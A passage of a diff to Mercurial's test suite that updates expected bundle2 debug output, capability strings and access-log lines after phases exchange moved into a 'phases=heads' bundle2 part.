   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -219,13 +219,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -294,13 +294,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -358,13 +358,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -427,13 +427,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -493,13 +493,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -564,13 +564,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -632,13 +632,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -702,13 +702,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -784,13 +784,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -861,13 +861,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -933,13 +933,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1016,13 +1016,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1101,13 +1101,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1182,13 +1182,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1257,13 +1257,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1339,13 +1339,13 @@
   f9cafe1212c8c6fa1120d14a556e18cc44ff8bdd
   911600dab2ae7a9baff75958b84fe606851ce955
   bundle2-output-bundle: "HG20", 4 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1454,14 +1454,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1542,14 +1542,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1616,14 +1616,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1686,14 +1686,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1750,14 +1750,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1843,14 +1843,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -1935,14 +1935,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2004,14 +2004,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
@@ -2090,14 +2090,14 @@
   911600dab2ae7a9baff75958b84fe606851ce955
   e8fc755d4d8217ee5b0c2bb41558c40d43b92c01
   bundle2-output-bundle: "HG20", 5 parts total
-  bundle2-output-part: "replycaps" 155 bytes payload
+  bundle2-output-part: "replycaps" 168 bytes payload
   bundle2-output-part: "check:heads" streamed payload
   bundle2-output-part: "changegroup" (params: 1 mandatory) streamed payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-output-part: "pushkey" (params: 4 mandatory) empty payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "replycaps" supported
-  bundle2-input-part: total payload size 155
+  bundle2-input-part: total payload size 168
   bundle2-input-part: "check:heads" supported
   bundle2-input-part: total payload size 20
   bundle2-input-part: "changegroup" (params: 1 mandatory) supported
diff --git a/tests/test-clone-uncompressed.t b/tests/test-clone-uncompressed.t
--- a/tests/test-clone-uncompressed.t
+++ b/tests/test-clone-uncompressed.t
@@ -44,8 +44,8 @@
   sending getbundle command
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 58
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 1 parts total
   checking for updated bookmarks
 
diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -32,7 +32,7 @@
   $ cat server/access.log
   * - - [*] "GET /?cmd=capabilities HTTP/1.1" 200 - (glob)
   * - - [*] "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=aaff8d2ffbbf07a46dd1f05d8ae7877e3f56e2a2&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
 
 Empty manifest file results in retrieval
 (the extension only checks if the manifest file exists)
diff --git a/tests/test-hgweb-commands.t b/tests/test-hgweb-commands.t
--- a/tests/test-hgweb-commands.t
+++ b/tests/test-hgweb-commands.t
@@ -1926,7 +1926,7 @@
   $ get-with-headers.py $LOCALIP:$HGPORT '?cmd=capabilities'; echo
   200 Script output follows
   
-  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*zlib (glob)
+  lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx compression=*,zlib (glob)
 
 heads
 
@@ -2174,7 +2174,7 @@
   batch
   stream-preferred
   streamreqs=generaldelta,revlogv1
-  bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps
+  bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps
   unbundle=HG10GZ,HG10BZ,HG10UN
   httpheader=1024
   httpmediatype=0.1rx,0.1tx,0.2tx
diff --git a/tests/test-hook.t b/tests/test-hook.t
--- a/tests/test-hook.t
+++ b/tests/test-hook.t
@@ -263,7 +263,6 @@
   pulling from ../a
   listkeys hook: HG_HOOKNAME=listkeys HG_HOOKTYPE=listkeys HG_NAMESPACE=bookmarks HG_VALUES={'bar': '0000000000000000000000000000000000000000', 'foo': '0000000000000000000000000000000000000000'}
   no changes found
-  listkeys hook: HG_HOOKNAME=listkeys HG_HOOKTYPE=listkeys HG_NAMESPACE=phases HG_VALUES={'cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b': '1', 'publishing': 'True'}
   adding remote bookmark bar
   $ cd ../a
 
diff --git a/tests/test-http-bad-server.t b/tests/test-http-bad-server.t
--- a/tests/test-http-bad-server.t
+++ b/tests/test-http-bad-server.t
@@ -11,6 +11,8 @@
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > fakeversion = `pwd`/fakeversion.py
+  > [devel]
+  > legacy.exchange = phases
   > EOF
 
   $ hg init server0
diff --git a/tests/test-http-proxy.t b/tests/test-http-proxy.t
--- a/tests/test-http-proxy.t
+++ b/tests/test-http-proxy.t
@@ -105,16 +105,16 @@
   * - - [*] "GET http://localhost:$HGPORT/?cmd=branchmap HTTP/1.1" - - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=stream_out HTTP/1.1" - - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D83180e7845de420a1bb46896fd5fe05294f8d629 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=83180e7845de420a1bb46896fd5fe05294f8d629&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=83180e7845de420a1bb46896fd5fe05294f8d629&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
